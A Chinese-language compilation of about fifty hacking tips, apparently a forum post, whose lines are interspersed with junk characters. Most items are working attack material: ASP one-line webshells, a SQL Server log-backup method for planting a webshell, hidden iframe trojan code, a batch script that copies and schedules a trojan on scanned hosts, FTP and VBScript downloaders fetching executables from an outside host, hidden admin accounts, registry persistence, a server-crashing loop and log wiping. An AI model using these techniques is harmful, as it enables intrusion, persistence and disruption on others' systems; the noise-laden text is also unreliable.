Xp系统修改权限防止病毒或木马等破坏系统,cmd下,9 n' |9 N9 A3 K( L
cacls C:\windows\system32 /G hqw20:R0 y3 P7 _: H) N8 n' l9 X, X/ ?
思是给hqw20这个用户只能读取SYSTEM32目录,但不能进行修改或写入% K9 w- `+ z! m3 w' q% Z
恢复方法:C:\>cacls C:\windows\system32 /G hqw20:F
( M( n+ Y* n Q2 h
, E' V+ h) _) [7 v4 _2、用Microsoft自带的IExpress工具作的捆绑木马可以躲过很多杀毒软件,运行对话框中输入Iexpress。. P( q3 V5 ]: @* h f3 Z6 v
5 C) t/ O5 _8 k. h$ G8 X3、内网使用灰鸽子,肉鸡上vidcs.exe -p端口,本地VIDCS里,VIDCS服务IP 填肉鸡的IP,VIDCS服务端口,就是给肉鸡开的端口,BINDIP添自己的内网IP,BIND端口 添8000,映射端口添8000。: U' K2 c& \; s% ~# r4 K, L
) A' P! I' j+ n* i6 t* w4、建立隐藏帐号,上次总结了用guest建立隐藏的管理员,这次再介绍一种,在cmd下建立一个ating$的用户,然后注册表下复制管理员的1F4里的F 值到ating$的F值,再把ating$改为$,这样在计算机管理的用户里看不到这个隐藏帐号
0 |2 ]* g# k+ m
% O& T7 p4 O0 B7 F8 g5、利用INF文件来修改注册表
& k% }) Y# V1 Y L[Version]& b. [4 z, r! Z$ e) A
Signature="$CHICAGO$"# j) g, g) k: ]
[Defaultinstall]
8 A! K% A. z1 b. Z4 qaddREG=Ating
' }' `1 T8 }) F[Ating]) Z5 G g$ ~+ b8 H0 h
HKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\system","disableregistrytools","0x00010001","1"
" y# q1 ]5 n3 V _# q! W以上代码保存为inf格式,注意没有换行符,在命令行里导入inf的命令如下:
( j7 }8 n. R+ srundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 inf文件的具体路径
3 K; z; [$ g# o4 f& Z/ g4 d& q其中HKEY_CLASSES_ROOT 简写为 HKCR,HKEY_CURRENT_USER 简写为 HKCU: m9 I2 o$ U" O
HKEY_LOCAL_MACHINE 简写为 HKLM,HKEY_USERS 简写为 HKU
: J4 k8 |0 ~7 i" F9 f+ pHKEY_CURRENT_CONFIG 简写为 HKCC
- N2 p4 P2 r2 {; L0 k0x00000000 代表的是 字符串值,0x00010001 代表的是 DWORD值 e# N, Y3 n" ?. T( x/ S( r: h' k( @
"1"这里代表是写入或删除注册表键值中的具体数据; z" @( g' e: A& w* P! @
% W$ c0 i" x& C0 E9 @' b ~! y
6、关于制作穿xp2防火墙的radmin,大家一定要会,各大黑客网站都有动画,$ K) \8 S% [" ^0 F Z1 d" p+ v$ R
多了一步就是在防火墙里添加个端口,然后导出其键值' G3 { {" t: q
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]
0 ? F% F4 }5 l) P
& H/ T8 o( M3 `- X6 }7、系统启动时Alerter服务启动前启动木马程序ating.exe,此方法很隐蔽
9 \" X$ X. T4 L2 t在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\Image File Execution Options]下建立service.exe项,再在service.exe项建立一个Debugger的键(字符串值),键值填ating.exe的全路径。
% u5 R( R6 ~' W3 V- i4 \6 d- E" C( [$ V6 F( z4 f
8、将ftp.exe传到服务器用来提权,可以先把它变成ating.gif格式的再用,迷惑管理员。9 l$ F& F+ e& v0 w, E" d2 N
5 l9 O( i" q9 L. x* ^
9、有时候在我们进入了网站后台,但是没有上传图片和备份等功能,得不到webshell,
3 Z7 M7 u2 H/ m! A可是不能白来一场,可以看看发表公告或新闻支不支持html和script,支持的话加个frame马或者其他的什么。- m. z( N/ ~% H. M0 P" `
6 t5 V! \/ e( z, ~$ q6 D/ V5 `
10、用google帮我们找网站后台,搜索”filetype:asp site:www.hack6.com inurl:login”
( Q" ]0 _' D. m0 ]. ^$ j/ U! F5 B8 {$ u# H) \& K
11、我们中了盗密码的木马后不要急于删除,一般这些木马都是把密码发到指定邮箱,我们可以用探嗅软件来找到邮箱的用户名和密码,比如安全焦点的xsniff,
8 d3 G4 ^3 i8 h" o用法:xsniff –pass –hide –log pass.txt; R; ~: c1 g0 q6 k; V& Y
- F) _, \) J3 T, R V* n
12、google搜索的艺术
& ^+ V: l# e2 z2 `' B- `. u* H/ J) L0 }搜索关键字:“未闭合的引号”或“ADODB.Field.error”或“Either BOF or EOF in True”' `$ |* }, g; f' z. k: h' m8 _
或“字符串的语法错误”可以找到很多sql注入漏洞。
. x1 N4 B3 N3 O! v
3 J8 {; [& i" W* }1 x6 P0 A8 b+ ?13、还可以搜一些木马的关键字,比如搜索“管理登陆 海洋顶端 inurl:asp”,搜到了说明此网站服务器的其中网站肯定有漏洞。
' Q$ e2 {1 r g. y2 j% \4 q: a' l. b/ C
14、cmd中输入 nc –vv –l –p 1987, ^& ~, T! x0 Z3 i2 S
做个bat文件内容为sqlhello 起始ip 1433 终止ip 1987 扫鸡吃, S* b9 ?. ^) S: L, S
! ^' A/ Z, C4 |
15、制作T++木马,先写个ating.hta文件,内容为
% ?% g. P; |- J" A/ {<script language="VBScript">4 E4 {# q6 h6 O, K; |5 [
set wshshell=createobject ("wscript.shell" ) k' L# o* V3 O; s
a=wshshell.run("你马的名称",1)) _9 E$ A( f' k- ]3 O) ?$ r
window.close
3 y6 r& k! x- Z# m7 f: s</script>% o7 y- A' c( N- r) L2 _) k
再用mshta生成T++木马,命令为mshta ating.hta ating.t++,用网页木马生成器生成网页木马。) |3 C! |; ?$ e; \; l' ^( E
; ]8 v' K( a9 \* b16、搜索栏里输入" v. o% ]4 s1 T. G
关键字%'and 1=1 and '%'='
% p3 J# o4 u) D7 r关键字%'and 1=2 and '%'='
. Z& C; W3 d+ [/ v) h1 S比较不同处 可以作为注入的特征字符 I k% o" D* q' `) y
/ O C* u1 l. `- L* J# X: K
17、挂马代码<html>: C$ C j8 }) K; v) U
<iframe src="马的地址" width="0" height="0" frameborder="0"></iframe>
4 C. Q0 F9 D8 c</html>
: j) E$ Q$ O% T& `* O, n: c" M3 s5 D5 A
18、开启regedt32的SAM的管理员权限检查HKEY_LOCAL_MACHINE\SAM\SAM\和HKEY_LOCAL_MACHINE\SAM\SAM\下的管理员和guest的F键值,如果一样就是用被入侵过了,然后删了guest帐号,对方可以用guest帐号使用administraeors的权限,你也可以用这方法留住肉鸡, 这方法是简单克隆,; H9 j H# _& ~3 k4 i
net localgroup administrators还是可以看出Guest是管理员来。% y* A; G/ X' Z* ?$ o6 v
/ i& H9 T' I: H; |2 `5 }( O# T/ v8 H2 i19、软件instsrv.exe 把.exe文件做成系统服务来启动 用来肉鸡挂QQ等! F; L/ F* O# l0 _; y
用法: 安装: instsrv.exe 服务名称 路径
! ^7 I- [7 M0 N$ A: H% U: a卸载: instsrv.exe 服务名称 REMOVE
5 Y2 i# U' n3 G' b3 M% ]) y/ Z: ~) z o! ~0 {' |
1 @% ^ o8 I: U0 }/ R
21、SQL注入时工具---Internet选项---高级里找到显示友好的错误信息勾去掉( {4 z0 k6 {: O! ], j K
不能注入时要第一时间想到%5c暴库。
. M; b* n; I8 b5 K' e. ]5 ?' a: S6 d- t# j* }3 y5 A
22、很多网站程序(比如华硕中文官方网站)上传图片时有可能在检测文件的时候是 从左朝又进行检测,也就是说,他会检测文件是不是有.jpg,那么我们要是把文件改成:ating.jpg.asp试试。。由于还是ASP结尾,所以木马不会变~+ P7 |0 U/ v Q' V& b7 p
: ^ q" t7 S- c9 j" P: G5 R' F
23、缺少xp_cmdshell时8 P s: N5 ?) H7 o; m8 f6 x1 g. `
尝试恢复EXEC sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'+ }( S) o9 d6 C b' W3 |3 X
假如恢复不成功,可以尝试直接加用户(针对开3389的)
, \, X! b0 s5 ]. C; kdeclare @o int
& F6 @1 B+ F s: B/ V; gexec sp_oacreate 'wscript.shell',@o out1 r+ M; k5 [0 D- p7 C
exec sp_oamethod @o,'run',NULL,'cmd.exe /c net user ating ating /add' 再提到管理员
7 O) \5 ?8 N) f2 Q8 @ l% i. c5 E1 t2 P- p0 |! i
24.批量种植木马.bat
& {2 Y- }( M a/ x2 X0 M; Z0 L7 pfor /f %%i in (扫描地址.txt) do copy pc.exe %%i\admin$ 复制木马到扫描的计算机当中( T4 ?* I& N7 E
for /f %%i in (扫描地址.txt) do at %%i 09:50 pc.exe 在对方计算机上运行木马的时间
" {1 y4 x' u# J3 m. s/ ?扫描地址.txt里每个主机名一行 用\\开头3 g( [1 f6 x8 a7 i' R
0 W- l$ k; A9 k; a! C
25、在程序上传shell过程中,程序不允许包含<% %>标记符号的内容的文件上传,比如蓝屏最小 的asp木马<%execute request("l")%>,我们来把他的标签换一下: <script language=VBScript runat=server>execute request("l")</Script> 保存为.asp,程序照样执行。4 g: F, L! A" N& b+ i
1 U, j0 d- o' F8 z ]6 f$ U" c3 Y
26、IIS6 For Windows 2003 Enterprise Edition 如IIS发布目录文件夹包含.asp后辍名.
4 T# T) F* U% W! w: v+ f9 d2 Z3 E将.asp后辍改为.jpg或其它的如.htm,也可以运行asp,但要在.asp文件夹下.
) N" v0 u9 X; ~/ {! C.cer 等后缀的文件夹下都可以运行任何后缀的asp木马! ?- i: z! K2 q& o
# p1 S( Q) F% R. v' W
27、telnet一台交换机 然后在telnet控制主机 控制主机留下的是交换机的IP8 z" E$ L" N/ a1 Q% D& v( l
然后用#clear logg和#clear line vty *删除日志9 p; y3 N+ t p% Z/ v- h, [* z
{) m! `% m. R% S" x; b
28、电脑坏了省去重新安装系统的方法! v! e* E8 _1 _" h
纯dos下执行, D. l9 {& G% O2 `/ Q% m6 Z
xp:copy C:\WINDOWS\repair\*.* 到 c:\windows\system32\config, j( F l$ q/ d. k7 u6 }
2k: copy C:\winnt\repair\*.* 到 c:\winnt\system32\config/ n0 |) v5 _' e' @8 m7 H) a
5 ^: P% `+ i* j/ T0 Y: q' y29、解决TCP/IP筛选 在注册表里有三处,分别是:
+ Y' D% {. c7 t9 E @( E2 THKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
% r9 {* i/ ~: p8 i3 yHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
; b3 N( ^* v' w& cHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip# {( h. F" w2 @4 f0 j+ J3 i
分别用
" z* N% f' v9 O. z6 ?0 G" Fregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
/ @5 y$ T Q/ J5 D6 E1 mregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip7 z: W" ^ G# s* z$ v
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip" j* V1 ^8 e! c
命令来导出注册表项
0 n# N( D! D$ e0 g- m% F' I( f2 U2 X然后把三个文件里的EnableSecurityFilters"=dword:00000001,% i. P' \# A' u; i
改成EnableSecurityFilters"=dword:00000000 再将以上三个文件分别用- U3 n- U$ n/ Z, x- I
regedit -s D:\a.reg regedit -s D:\b.reg regedit -s D:\c.reg 导入注册表即可。
. _" q: h8 I# o$ Q G6 k* Z2 \
5 `- g, q' }$ u30、使CHM木马无法在本地运行木马程序 将注册表"HKEY_CURRENT_U
' O3 q" }0 D. w. J6 p8 nSER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0"下的1004项的值由原来十进制的0改为十六进制的3
" f# X. `" _2 e h& G
G3 V. _( C: k a' P4 x" K) i31、全手工打造开3389工具
& ]5 w$ \, N" h* E- Z打开记事本,编辑内容如下:3 x2 S/ @" ], J( v, ^; _$ U* C
echo [Components] > c:\sql+ [1 o: H% [+ h: j
echo TSEnable = on >> c:\sql3 F4 z2 e4 m- a7 V$ }
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q) G4 _9 Y. T7 P* C
编辑好后存为BAT文件,上传至肉鸡,执行3 T$ Z0 W. d, I* f* J# t9 S' p% ]
s4 i) u k2 a% O( j ~ M; J) C
32、挂马js代码document.write('<iframe height=0 width=0 src="木马地址.htm"></iframe>');保存到js页面里 可让所有页面挂马
3 S3 h! P3 k- K) k) n9 H' T' j9 E) Q* S+ }2 F, o$ [
33、让服务器重启
& z' I( Q' o' G2 `3 } i/ f写个bat死循环:: u: F. | o9 H9 T
@echo off: N, l4 @/ n: |/ p) v
:loop1
7 c @. Q* A7 K# p- ^ O# e( F3 Ccls
! }* X3 r0 g" o7 l: Qstart cmd.exe
7 b5 ^$ `& |5 Rgoto loop1
$ q& s6 }7 B1 } d; X; ]保存成bat guset权限就可以运行 运行后很快服务器就会死机 管理员自然会去重启4 c4 @: N" f% e" n: z9 y
2 S+ Q* U& M2 e1 L R
34、如果你登录肉鸡的3389时发现有cmd一闪而过,那你可要小心了,管理员写了个bat在监视你,
# T |9 e0 u9 y, e$ N7 \@echo off
. p3 P. s s/ [# v7 Zdate /t >c:/3389.txt
1 H6 j, M& ]) j% Y9 N" Dtime /t >>c:/3389.txt
+ v' i! x1 N$ H7 G6 T, ?! jattrib +s +h c:/3389.bat3 H5 q5 {+ ?1 s0 M% U: U9 N; M
attrib +s +h c:/3389.txt
, k* O( \( s( R$ o+ E! U6 L! bnetstat -an |find "ESTABLISHED" |find ":3389" >>c:/3389.txt
' Z7 E3 i, n- ~) g, l并保存为3389.bat
$ m+ v1 o1 x. t打开注册表找到:Userinit这个键值 在末尾加入3389.bat所在的位置,比如我放到C盘,就写:,c:/3389.bat,注意一定要加个逗号- s e H z1 a w6 X9 R3 \& }2 |: A
3 u! c* N7 G) I: F* `3 d% m E3 D35、有时候提不了权限的话,试试这个命令,在命令行里输入:
" s, A3 j: x% Y" ^+ F3 \start http://www.hack520.org/muma.htm然后点执行。(muma.htm是你上传好的漏洞网页)
! H( u t5 g; C3 i4 z0 l输入:netstat -an | find "28876" 看看是否成功绑定,如果有就telnet上去,就有了system权限,当然也可以nc连接,本地执行命令。
/ T$ M3 `/ V* i$ j/ n" G6 D4 A2 S' M+ b8 M- Z, i" \* t/ k/ r
36、在cmd下用ftp上传马方法,我们可以用echo 写一个批处理文件4 h, B' T( w) h. ]8 Y
echo open 你的FTP空间地址 >c:\1.bat //输入你的FTP地址
2 f* i7 p5 ^& N6 @ m' D" pecho 你的FTP账号 >>c:\1.bat //输入账号
* O7 w0 X9 y2 q9 aecho 你的FTP密码 >>c:\1.bat //输入密码( Q" a/ U. Q2 ^" @: q
echo bin >>c:\1.bat //登入
' ?. { M8 {5 E% [) ~0 W0 o2 oecho get 你的木马名 c:\ ating.exe >>c:\1.bat //下载某文件到某地方并改名为什么7 T6 s; j1 B+ ` e5 r
echo bye >>c:\1.bat //退出
" P: Q9 X( o1 X$ n. m8 C然后执行ftp -s:c:\1.bat即可# R2 X4 s/ D3 k b K6 d( y
$ {% y G: l e; V
37、修改注册表开3389两法& k( w, Z4 f# ?( A. U2 c
(1)win2000下开终端 首先用ECHO写一个3389.reg文件,然后导入到注册表" Z7 V0 t2 z- i& `3 x0 d8 l' U: k
echo Windows Registry Editor Version 5.00 >>3389.reg8 N2 T* C; _- _# }1 c3 f; h
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg3 C3 N3 d" R5 N
echo "Enabled"="0" >>3389.reg
0 l- Z* n+ a. s% decho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows- M! g" l1 {% U& J Z
NT\CurrentVersion\Winlogon] >>3389.reg
4 z+ U' V! x: K( Qecho "ShutdownWithoutLogon"="0" >>3389.reg) E' ]& G" m+ B2 E
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]/ G- A7 T* f+ o% C W
>>3389.reg5 A& H0 l; w4 V
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
6 e1 i# x/ S$ ~# X/ Aecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
|( S# Z* Z+ g. n O6 u- Z>>3389.reg
. t$ ?" P5 f g Cecho "TSEnabled"=dword:00000001 >>3389.reg0 L. P# S3 { R
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg
, C8 T: ~: a/ P3 {! \% iecho "Start"=dword:00000002 >>3389.reg3 S+ k8 q( P# i
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
2 C _, H' c/ d# W: B>>3389.reg
) [( r7 w9 ], Z2 Iecho "Start"=dword:00000002 >>3389.reg
2 D) q: F) N r0 [" Z8 techo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg, ~7 h4 a/ u. U; |7 k
echo "Hotkey"="1" >>3389.reg
! \/ R1 B" `9 N ?9 C9 Recho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
* a+ L1 s; C+ N( XServer\Wds\rdpwd\Tds\tcp] >>3389.reg
* J3 W2 r" ^ @6 V. O9 J% Becho "PortNumber"=dword:00000D3D >>3389.reg
5 j }2 g |/ y. X6 {$ d4 Recho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
4 n# K5 z8 J- S H4 F- |Server\WinStations\RDP-Tcp] >>3389.reg5 j& \ X* |9 B. U* g
echo "PortNumber"=dword:00000D3D >>3389.reg1 k# ^" j" U# E: m
把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件,接着regedit /s 3389.reg导入注册表。
3 }; J/ S: }0 C0 j- Z/ K' k+ W5 j(如果要改变终端端口只须把上面的两个D3D都改一下就可以了)6 Z$ J) A! M" M& ?/ {3 G
因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效! G; o5 \# I d- |
(2)winxp和win2003终端开启
/ [* i6 ]+ e6 O用以下ECHO代码写一个REG文件:
* r$ l* C6 w: j, f1 m. Hecho Windows Registry Editor Version 5.00>>3389.reg2 M4 X( r# {! o8 e4 G! x9 J
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal1 }9 K$ A: P- r. n: l. r
Server]>>3389.reg
9 \4 @6 i! T/ N7 Q6 ~& G- qecho "fDenyTSConnections"=dword:00000000>>3389.reg
# N0 b, `* |8 V l: Aecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
" J/ }- t) w2 V: X3 ]Server\Wds\rdpwd\Tds\tcp]>>3389.reg6 i: k. t' y- s5 ^% N. k
echo "PortNumber"=dword:00000d3d>>3389.reg
; f, D' i& C/ w1 Oecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
. Q5 s3 v8 b5 U" dServer\WinStations\RDP-Tcp]>>3389.reg+ x4 B; X- z3 A( y0 i; ]
echo "PortNumber"=dword:00000d3d>>3389.reg
5 b" p0 {, l) M' {& i然后regedit /s 3389.reg del 3389.reg
: c6 U7 q A7 m ^0 b% w9 GXP下不论开终端还是改终端端口都不需重启: ^! p! K7 [0 D; K+ a! t
7 d5 x) C# h7 ], ^5 K5 A4 x38、找到SA密码为空的肉鸡一定要第一时间改SA密码,防止别人和我们抢肉吃8 ~0 _- d# H) H+ Q( j
用查询分析器运行 EXEC sp_password NULL, '你要改的密码', 'sa'6 l* M7 r+ Q, @& R; H' D( ]
7 A9 `. I# g7 _+ z" G) v39、加强数据库安全 先要声明把mdb改成asp是不能防止下载的!0 W8 v; {( J7 c; d; u. R
(1)数据库文件名应复杂并要有特殊字符* q+ S6 {7 [* }0 @( G' u2 R
(2)不要把数据库名称写在conn.asp里,要用ODBC数据源3 P: u B& [% |- q
将conn.asp文档中的
" s! k5 N% F- ?) n$ I2 D/ \8 uDBPath = Server.MapPath("数据库.mdb")/ {. w3 e* _1 H' B- x: P
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath5 R' w, n6 D$ M! V+ z
) @+ N% w1 `# N2 Y& a
修改为:conn.open "ODBC数据源名称," 然后指定数据库文件的位置
% }# F, T! u" Z(3)不放在WEB目录里4 T. T1 i' }. `' s& ?
) _. ~& G% i3 z
40、登陆终端后有两个东东很危险,query.exe和tsadmin.exe要Kill掉5 P+ h/ A, m! D) I3 E. D1 J; M5 [
可以写两个bat文件
, I4 ?7 Y& W v: e( k$ z( t@echo off2 U0 z! u$ V7 e( g
@copy c:\winnt\system32\query.exe c:\winnt\system32\com\1\que.exe6 _ d: {- H; m& ]% l% a
@del c:\winnt\system32\query.exe5 K" _7 N" ?+ { ?! E2 ]1 ]) J
@del %SYSTEMROOT%\system32\dllcache\query.exe
: ^9 y5 d5 ]) d2 j@copy c:\winnt\system32\com\1\query.exe c:\winnt\system32\query.exe //复制一个假的
* ]' H- r2 g1 j Z2 |' m
|% l1 I0 K! n$ X@echo off+ {) S/ ?" R5 ]9 q% I' _& n
@copy c:\winnt\system32\tsadmin.exe c:\winnt\system32\com\1\tsadmin.exe
$ R- V( T8 S+ a. V@del c:\winnt\system32\tsadmin.exe; B# E0 h5 N T" p" B* D& M- z
@del %SYSTEMROOT%\system32\dllcache\tsadmin.ex H- x; @% d6 f1 E
' ]: ^. K* [( o) d' `! l
41、映射对方盘符
& q, ~1 ]: J) l. Htelnet到他的机器上,) w1 j! [3 M# V1 k1 J
net share 查看有没有默认共享 如果没有,那么就接着运行
& O$ b# i. U2 o8 _! u( C/ U0 `net share c$=c:
, _) h) w% c; O5 D2 bnet share现在有c$
5 N3 ~/ C7 e% G; [, r2 W在自己的机器上运行! Y" \5 I/ g+ R) q8 F
net use k: \\*.*.*.*\c$ 把目标共享映射到本地硬盘,盘符为K
" e% k! z; q. u3 O9 w, W
+ s6 F# g# f! l3 W, I* y, ^# ]42、一些很有用的老知识, {$ ^9 \ F, W, d1 S5 |6 U
type c:\boot.ini ( 查看系统版本 )9 J: _! L0 i+ x/ M; d/ E
net start (查看已经启动的服务)' b8 C! S$ U0 }( \. p) V
query user ( 查看当前终端连接 )
- ?/ |& J9 L+ r' C! Mnet user ( 查看当前用户 )
/ O% w2 L" m$ G @, [ @" W; Inet user 用户 密码/add ( 建立账号 )
; s; g8 y6 Q6 d& q1 e) P- dnet localgroup administrators 用户 /add (提升某用户为管理员)
6 ]4 i; \; Z' W' e0 L" v& Aipconfig -all ( 查看IP什么的 )+ u' E/ P# E" V0 k, s
netstat -an ( 查看当前网络状态 )3 p( b' g" E$ d+ [% g9 I# T
findpass 计算机名 管理员名 winlogon的pid (拿到管理员密码)
- A% x" h8 d0 i K% @+ x' H克隆时Administrator对应1F4
/ J# O+ |# W( B" Tguest对应1F59 {6 ~, ~; B. Z9 q
tsinternetuser对应3E8
( G' l) D7 B, J6 T* {& g* K7 a1 [* Q7 \7 E' v9 O: d) `$ g
43、如果对方没开3389,但是装了Remote Administrator Service: A. S5 K1 F% o$ X9 d
用这个命令F:\ftp.exe "regedit -s F:\longyi.biz\RAdmin.reg" 连接
4 u2 [# p6 W Z9 Y) Y- Y9 N# s解释:用serv-u漏洞导入自己配制好的radmin的注册表信息8 ]4 Z6 S& h0 y& j" o
先备份对方的F:\ftp.exe "regedit -e F:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\RAdmin"
8 O/ E3 n& A* m9 I+ |7 M9 Z5 M3 |$ Z! S. _' F7 V, w% d
44、用lcx做内网端口映射,先在肉鸡上监听 lcx -listen 52 8089 (端口自定)
" B7 N: D( n5 {8 E3 ] f4 Q本地上运行映射,lcx -slave 鸡的ip 52 我内网的ip 80 (我的WEB是80端口)
3 o( c! ^0 {& V1 f) S$ H, w- Q8 z: \2 @
45、在服务器写入vbs脚本下载指定文件(比如用nbsi利用注入漏洞写入)
$ D+ | s+ d/ k0 hecho Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open
% D% \6 x5 O* Q5 Z: R3 W5 R^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s =$ H: L. O: k7 L( ?
CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type =
* u# ?" |# }- S2 B- r# Y" [1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >ating.vbs
6 x( {* ^3 |- c6 _5 J/ a8 s(这是完整的一句话,其中没有换行符)) b" P5 V2 Z6 [0 p8 _& W; d! y. D S
然后下载:# I, U* h9 x" W6 C
cscript down.vbs http://www.hack520.org/hack.exe hack.exe$ k5 n# L6 c8 T! j
* J ~3 z) L9 `5 _# l
46、一句话木马成功依赖于两个条件:/ l4 e1 `5 Z0 A- @/ e" ^# e
1、服务端没有禁止adodb.Stream或FSO组件, q" o- ~4 O* y/ M6 w. {% f/ S1 N' c
2、权限问题:如果当前的虚拟目录禁止user级或everyone写入的话也是不会成功的。
; B7 A" b$ W2 l. J, d5 t/ y
* \- B9 C6 l- p5 h47、利用DB_OWNER权限进行手工备份一句话木马的代码:, b& L: \6 l4 Y) @. R
;alter database utsz set RECOVERY FULL--7 W, | Y% ]- r$ ?& P2 v3 |
;create table cmd (a image)--
6 }0 c$ D: B1 r; _9 V; e;backup log utsz to disk = 'D:\cmd' with init--$ N6 h: J6 ~7 B4 o7 e8 |2 s
;insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--* V6 m- _& l. [, n5 S5 o/ A5 O
;backup log utsz to disk = 'D:\utsz_web\utsz\hacker.asp'--
! B: z$ l2 e( h$ `, U. L9 R8 I: `注:0x3C25657865637574652872657175657374282261222929253EDA为一句话木马的16进制形式。
; p% ]# p* t- @' x% E) i4 T% D( h& Q5 K# V* H3 _0 b+ t' ]# \
48、tlntadmn是telnet服务的设置命令,可以对telnet服务的端口、认证方式等进行设置:! [$ q9 r+ c+ J% |1 f; Y
! M: R$ y6 o2 C% b用法: tlntadmn [computer name] [common_options] start | stop | pause | continue | -s | -k | -m | config config_options
7 ] f- o3 X- s# ]2 N, s所有会话用 'all'。3 {6 l5 R/ ~. ?' q& r8 K+ T
-s sessionid 列出会话的信息。6 w+ I5 a3 M' @0 y
-k sessionid 终止会话。3 H! S& K" {; I+ X5 n
-m sessionid 发送消息到会话。, e1 N t; J& K' A. b
! |7 G% W) Q6 |2 x2 H5 p+ ]5 v
config 配置 telnet 服务器参数。; |% p0 O6 K* `% d
% v0 |- D s7 U, hcommon_options 为:
* T# B- A# Y; m4 ^-u user 指定要使用其凭据的用户# C2 p7 U6 z7 ~$ R2 V
-p password 用户密码
6 @& |: _# f1 Y! ]
* b# r! e5 ^0 H- gconfig_options 为:
) e W- J0 T# d3 w: Tdom = domain 设定用户的默认域9 _5 r" z% s+ J2 {8 M
ctrlakeymap = yes|no 设定 ALT 键的映射
; J, n2 [8 n4 @timeout = hh:mm:ss 设定空闲会话超时值3 O. v0 h# Y2 Y' M
timeoutactive = yes|no 启用空闲会话。
+ j' I* o4 O- I* q4 mmaxfail = attempts 设定断开前失败的登录企图数。
& H% S/ I$ X# f, ]0 {) [3 c/ O4 umaxconn = connections 设定最大连接数。
. ~; H- |. X6 }+ b& D) e$ Kport = number 设定 telnet 端口。
2 Y% c$ P. X0 X7 ^sec = [+/-]NTLM [+/-]passwd8 O5 U# n' T+ A- F8 s4 L
设定身份验证机构
+ q; Z) T3 D. M6 ~1 Zfname = file 指定审计文件名。. Q V$ K0 b V; p# @
fsize = size 指定审计文件的最大尺寸(MB)。
4 u+ n( {- x9 Y( i) Kmode = console|stream 指定操作模式。" Y" y" G0 A- W( Y; ^
auditlocation = eventlog|file|both
8 U: \) x7 f; g- C% r% C' ~指定记录地点
9 V$ O& j1 y7 Caudit = [+/-]user [+/-]fail [+/-]admin
8 F) k" n$ m0 J+ r# q1 ?
/ o# _6 V, D- W1 \( P# X9 r0 u49、例如:在IE上访问:+ H" _- F% e* L9 {" Z# I
www.hack520.org/hack.txt就会跳转到http://www.hack520.org/) t% D3 D0 u: ]0 u2 M0 F8 T" d, [
hack.txt里面的代码是:# L) y7 D" w3 n" p
<body> <META HTTP-EQUIV="Refresh" CONTENT="5;URL=http://www.hack520.org/">5 w0 D7 T3 f' B
把这个hack.txt发到你空间就可以了!9 z7 L, R- {! x. D
这个可以利用来做网马哦!7 F# ~( I3 J f
1 `1 i+ w6 z9 B1 z* ~
50、autorun的病毒可以通过手动限制!
9 V' s* ~( ?# o5 _; }, I/ ]2 P1,养成好习惯,插入U盘或移动硬盘,都要按住shift让其禁止自动运行!
* [4 i! W1 ^8 ?3 B6 @/ M2,打开盘符用右键打开!切忌双击盘符~
; J1 T3 l1 f# |8 }; ^4 a$ i3,可以利用rar软件查看根目录下autorun病毒并删除之!他可以处理一些连右键都无法打开的分区!0 [2 G7 j8 b6 `: k
' D7 i6 p5 s: U4 G4 B# I
51、log备份时的一句话木马:
: Y% U) ^, Z4 b* \% R* r- d9 ja).<%%25Execute(request("go"))%%25>" w; P! f; C0 G
b).<%Execute(request("go"))%>
, _# Q8 ?# {/ H$ |6 @c).%><%execute request("go")%><%9 A& E8 I0 [# u% c# L3 L, v& s1 A* O
d).<script language=VBScript runat=server>execute request("sb")</Script>
2 T2 N8 i, X4 q7 Fe).<%25Execute(request("l"))%25>1 c: a8 @& Y) T, |+ H5 O
f).<%if request("cmd")<>"" then execute request("pass")%>8 _* H1 c M4 U% H6 A
" J; B0 c0 L- y! t9 Y* V O% L( P
52、at "12:17" /interactive cmd
0 S5 B: I7 ^1 |* e" B) l执行后可以用AT命令查看新加的任务% _+ p4 [& F. Y) q1 w/ b' I
用AT这个命令以交互的方式运行cmd.exe 这样运行的cmd.exe是system权限。
7 ?. w3 X- _4 x/ K, `( y; v2 S6 F
6 p/ H9 Y; G3 U. K, g: N, Q53、隐藏ASP后门的两种方法
